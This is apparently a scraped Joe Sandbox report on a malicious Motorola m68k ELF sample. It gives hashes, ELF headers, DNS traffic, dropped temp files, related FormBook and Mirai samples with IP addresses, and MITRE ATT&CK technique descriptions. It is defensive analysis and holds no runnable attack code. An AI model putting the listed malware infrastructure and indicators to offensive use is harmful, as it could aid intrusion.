	apep.m68k.elf	Get hash	malicious	Unknown	Browse	157.197.246.102
CNSERVERSUS	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	154.88.22.101
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	45.43.9.206
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	154.88.22.101
	arm5.elf	Get hash	malicious	Mirai	Browse	172.247.21.10
	piR516SetM.ps1	Get hash	malicious	Unknown	Browse	154.90.62.248
	XwUh11g4l4.lnk	Get hash	malicious	Unknown	Browse	154.90.62.248
	REQUESTING FOR UPDATED SOA.exe	Get hash	malicious	FormBook	Browse	23.225.160.132
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.88.22.105
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	23.225.160.132
	purchase Order.exe	Get hash	malicious	FormBook	Browse	154.88.22.110

Process:	/tmp/nabm68k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.1173612320760933
Encrypted:	false
SSDEEP:	3:FVwH6X9FQWUT5FFNFkWVQxvXSY/VVENFQWUT5FFNFkjVieY/VVdf/FVXKfwuv/VH:YagDFFNY/V/DFleY/VfKoO/VNfiY/VH
MD5:	64CCA1E5E01F2A289B2DC095F5E55FEA
SHA1:	1764A51FE205E79E0F9A840F363C1FDD6D1107D5
SHA-256:	D13B981EBDED795B25C47496D5DD12D057B7178746F6A5A2FFCE8BC2D8ADBEB5
SHA-512:	1EFC54C7FB72C59163B686CACEA69D1B15B5E2B81408EC37273B85375C229E1B167C471329A012DC782989C88EC1F73865C07FF785A4658FFF33F54816F9D415
Malicious:	false
Reputation:	low
Preview:	80000000-8000b000 r-xp 00000000 fd:00 531606 /tmp/..8000c000-8000d000 rw-p 0000a000 fd:00 531606 /tmp/..8000d000-8000f000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.251321772926701
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabm68k.elf
File size:	43'960 bytes
MD5:	5f1ed963d112cce024ec7fd9bdbf7400
SHA1:	86c1cdcbe967b8031f908d0adcfd3f51c84f69ec
SHA256:	f65148df3d938e1c99bbd2917e32fbdc6dddad1b65e8ee9dbe98d515066997d7
SHA512:	4b7073023663286d2711a2cd905195cf8745c951fcb1e386af68c93199580a485c355d937c59b840ba42401ac7983872f72dd25f57a0f6805e85c1ff460ab631
SSDEEP:	768:2kLeGD9segFkzBdMiWGJJJJJlCzkCSO5jQNxHPDuL8zwDgRiA5q8vAy3yPl+:2IRQFkzBKrGJJJJJlCYCL5jAdPDuLzDa
TLSH:	A913F793B410DD7DF989EEBBC50F4A0DB130765682620763B367F96BA831284AC2ED45
File Content Preview:	.ELF.......................D...4.........4. ...(.......................J...J...... ........P...P...P...l.......... .dt.Q............................NV..a....da.....N^NuNV..J9....f>"y...h QJ.g.X.#....hN."y...h QJ.f.A.....J.g.Hy...LN.X.........N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	43520
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x99e2	0x0	0x6	AX	4
.fini	PROGBITS	0x80009a8a	0x9a8a	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80009a98	0x9a98	0xdb2	0x0	0x2	A	2
.ctors	PROGBITS	0x8000c850	0xa850	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8000c858	0xa858	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x8000c860	0xa860	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x8000c864	0xa864	0x158	0x0	0x3	WA	4
.bss	NOBITS	0x8000c9bc	0xa9bc	0x1194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa9bc	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0xa84a	0xa84a	6.3031	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0xa850	0x8000c850	0x8000c850	0x16c	0x1300	0.7092	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 09:37:51.392369032 CET	40427	53	192.168.2.23	168.235.111.72
Nov 28, 2024 09:37:51.752342939 CET	53	40427	168.235.111.72	192.168.2.23
Nov 28, 2024 09:38:03.286859989 CET	42544	53	192.168.2.23	168.235.111.72
Nov 28, 2024 09:38:03.604307890 CET	53	42544	168.235.111.72	192.168.2.23
Nov 28, 2024 09:38:15.849194050 CET	43329	53	192.168.2.23	81.169.136.222
Nov 28, 2024 09:38:16.088510990 CET	53	43329	81.169.136.222	192.168.2.23
Nov 28, 2024 09:38:28.337057114 CET	56631	53	192.168.2.23	185.181.61.24
Nov 28, 2024 09:38:28.600357056 CET	53	56631	185.181.61.24	192.168.2.23
Nov 28, 2024 09:38:40.779382944 CET	46453	53	192.168.2.23	202.61.197.122
Nov 28, 2024 09:38:41.029268980 CET	53	46453	202.61.197.122	192.168.2.23
Nov 28, 2024 09:38:53.199789047 CET	58261	53	192.168.2.23	152.53.15.127
Nov 28, 2024 09:38:53.444335938 CET	53	58261	152.53.15.127	192.168.2.23
Nov 28, 2024 09:39:05.671551943 CET	50463	53	192.168.2.23	168.235.111.72
Nov 28, 2024 09:39:05.977946997 CET	53	50463	168.235.111.72	192.168.2.23
Nov 28, 2024 09:39:17.513035059 CET	52513	53	192.168.2.23	202.61.197.122
Nov 28, 2024 09:39:17.757313967 CET	53	52513	202.61.197.122	192.168.2.23
Nov 28, 2024 09:39:30.004081011 CET	56562	53	192.168.2.23	51.158.108.203
Nov 28, 2024 09:39:30.254044056 CET	53	56562	51.158.108.203	192.168.2.23
Nov 28, 2024 09:39:42.749337912 CET	47261	53	192.168.2.23	81.169.136.222
Nov 28, 2024 09:39:42.988852978 CET	53	47261	81.169.136.222	192.168.2.23

Start time (UTC):	08:37:46
Start date (UTC):	28/11/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabm68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05AEP0 (deleted)

/tmp/qemu-open.062Cw1 (deleted)

/tmp/qemu-open.06zur0 (deleted)

/tmp/qemu-open.0f2peZ (deleted)

/tmp/qemu-open.11VYi1 (deleted)

/tmp/qemu-open.19L5G0 (deleted)

/tmp/qemu-open.29N6VY (deleted)

/tmp/qemu-open.2C5TBZ (deleted)

/tmp/qemu-open.2H6orY (deleted)

/tmp/qemu-open.2LbYYY (deleted)

/tmp/qemu-open.2T2K91 (deleted)

/tmp/qemu-open.2v3ymZ (deleted)

/tmp/qemu-open.3GiWs1 (deleted)

/tmp/qemu-open.3l2O80 (deleted)

/tmp/qemu-open.3qtoO1 (deleted)

/tmp/qemu-open.3r9aN1 (deleted)

/tmp/qemu-open.3ykcPY (deleted)

/tmp/qemu-open.4MC7O1 (deleted)

/tmp/qemu-open.585zMZ (deleted)

/tmp/qemu-open.59jtZ0 (deleted)

/tmp/qemu-open.5HeqQZ (deleted)

/tmp/qemu-open.5YXEN1 (deleted)

/tmp/qemu-open.5rP1B0 (deleted)

/tmp/qemu-open.6EuRm0 (deleted)

/tmp/qemu-open.6aWLM0 (deleted)

/tmp/qemu-open.6auMd1 (deleted)

/tmp/qemu-open.6eBAz2 (deleted)

/tmp/qemu-open.70hUuZ (deleted)

/tmp/qemu-open.74q5w0 (deleted)

/tmp/qemu-open.7nJ64Z (deleted)

/tmp/qemu-open.7uzBCY (deleted)

/tmp/qemu-open.8JYrU0 (deleted)

/tmp/qemu-open.8bRjhY (deleted)

/tmp/qemu-open.9H2YIZ (deleted)

Linux Analysis Report
nabm68k.elf

Start time (UTC):	08:37:49
Start date (UTC):	28/11/2024
Path:	/tmp/nabm68k.elf
Arguments:	/tmp/nabm68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	08:37:50
Start date (UTC):	28/11/2024
Path:	/tmp/nabm68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre